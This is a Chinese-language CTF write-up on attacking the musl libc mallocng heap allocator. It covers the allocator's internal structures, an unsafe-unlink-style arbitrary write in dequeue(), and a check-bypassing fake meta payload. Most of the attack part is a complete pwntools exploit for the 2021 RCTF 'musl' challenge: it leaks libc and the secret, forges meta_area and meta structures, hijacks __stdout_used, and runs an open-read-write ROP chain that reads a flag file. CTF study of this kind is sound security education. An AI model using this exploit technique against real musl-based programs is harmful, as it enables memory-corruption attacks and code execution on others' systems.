几个结构
__malloc_context（与glibc中的main_arena类似）
struct malloc_context {
uint64_t secret;
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;
unsigned mmap_counter;
struct meta *free_meta_head;
struct meta *avail_meta;
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];
size_t usage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};
active 与glibc中的bins类似，并且有自己独特的方法来计算chunk的大小）
const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};
#define IB 4
static inline int a_ctz_32(uint32_t x)
{
#ifdef a_clz_32
return 31-a_clz_32(x&-x);
#else
static const char debruijn32[32] = {
0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,
31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14
};
return debruijn32[(x&-x)*0x076be629 >> 27];
#endif
}
static inline int a_clz_32(uint32_t x)
{
x >>= 1;
x |= x >> 1;
x |= x >> 2;
x |= x >> 4;
x |= x >> 8;
x |= x >> 16;
x++;
return 31-a_ctz_32(x);
}
static inline int size_to_class(size_t n)
{
n = (n+IB-1)>>4;
if (n<10) return n;
n++;
int i = (28-a_clz_32(n))*4 + 8;
if (n>size_classes[i+1]) i+=2;
if (n>size_classes[i]) i++;
return i;
}
meta
struct meta {
struct meta *prev, *next; // meta是一个双向链表
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};
meta_arena
struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};
group
#define UNIT 16
#define IB 4
struct group {
struct meta *meta;
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10B
unsigned char storage[];// chunks
};
chunk
struct chunk{
char prev_user_data[];
uint8_t idx; //低5bit为idx第几个chunk
uint16_t offset; //与第一个chunk起始地址的偏移，实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程！
char data[];
};
漏洞点
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}
源码里有一个与unsafe unlink类似的地方，可以实现任意地址写。
绕过检查
给一个绕过检查，伪造meta的示例
# fake_meta_area
payload+= p64(secret) + p64(0)
# fake_meta
payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
payload+= p64(fake_group) # mem
payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0
maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
payload+= p64(last_value)+p64(0)
add(index, 0x1500, payload)
例题 2021RCTF-musl
本题的漏洞点是，在申请大小为0时，会导致一个堆溢出的出现。利用这个泄露出，libc和secret，即可伪造meta_area及meta。
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
s = process('./r')
def add(index,size,content):
s.sendlineafter(b'>>', b'1')
s.sendlineafter(b'idx?\n', str(index))
s.sendlineafter(b'size?\n', str(size))
s.sendafter(b'Contnet?\n', content)
def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx?\n', str(index))
def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx?\n', str(index))
for i in range(15):
add(i, 1, "")
delete(0)
add(0, 0, b'a'*0xF+b'\n')
show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x298d50
__stdout_used_ptr = libc_base + 0x295450
__malloc_context = libc_base + 0x295ae0
magic_gadget = libc_base + 0x000000000004a5ae #mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
pop_rdi_ret = libc_base + 0x0000000000014b82
pop_rsi_ret = libc_base + 0x000000000001b27a
pop_rdx_ret = libc_base + 0x0000000000009328
pop_rax_ret = libc_base + 0x000000000001b8fd
syscall_ret = libc_base + 0x0000000000023711
ret = libc_base + 0x0000000000000598
success('[+]libc_base=>' + hex(libc_base))
delete(2)
add(2, 0, b'a'*0x10+ p64(__malloc_context)+b'\n')
show(3)
s.recvuntil(b'Content: ')
secret = u64(s.recv(8))
success('[+]secret=>' + hex(secret))
chunk_addr = libc_base + 0x290020
fake__stdout_used = chunk_addr + 0x30
fake_group = libc_base + 0x298dd0
payload = p64(libc_base + 0x291010) # fake group->meta
payload+= p64(0x000c0c000000000b)
payload+= p64(libc_base + 0x298df0) + b'\x00'*5 + p8(0) + p16(1)
payload+= b'\n'
delete(5)
add(5, 0, payload)
gdb.attach(s)
pause()
payload = b'./ctf/flag\x00'
payload = payload.ljust(0x30,b'\x00')
payload+= b'\x00'*0x30+p64(chunk_addr + 0x100)
payload+= p64(ret)
payload+= p64(0) + p64(magic_gadget) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]
payload = payload.ljust(0x100,b'\x00')
payload+= p64(pop_rdi_ret) + p64(chunk_addr)
payload+= p64(pop_rsi_ret) + p64(0)
payload+= p64(pop_rdx_ret) + p64(0)
payload+= p64(pop_rax_ret) + p64(2)
payload+= p64(syscall_ret)
payload+= p64(pop_rdi_ret) + p64(3)
payload+= p64(pop_rsi_ret) + p64(chunk_addr)
payload+= p64(pop_rdx_ret) + p64(0x100)
payload+= p64(pop_rax_ret) + p64(0)
payload+= p64(syscall_ret)
payload+= p64(pop_rdi_ret) + p64(1)
payload+= p64(pop_rsi_ret) + p64(chunk_addr)
payload+= p64(pop_rdx_ret) + p64(0x100)
payload+= p64(pop_rax_ret) + p64(1)
payload+= p64(syscall_ret)
payload = payload.ljust(0x1000-0x20, b'\x00')
# fake_meta_area
payload+= p64(secret) + p64(0)
# fake_meta
payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
payload+= p64(fake_group) # mem
payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0
maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
payload+= p64(last_value)+p64(0)
payload+= b'\n'
add(15, 0x1500, payload)
delete(6)
s.sendlineafter(">>",b"4")
#gdb.attach(s)
s.interactive()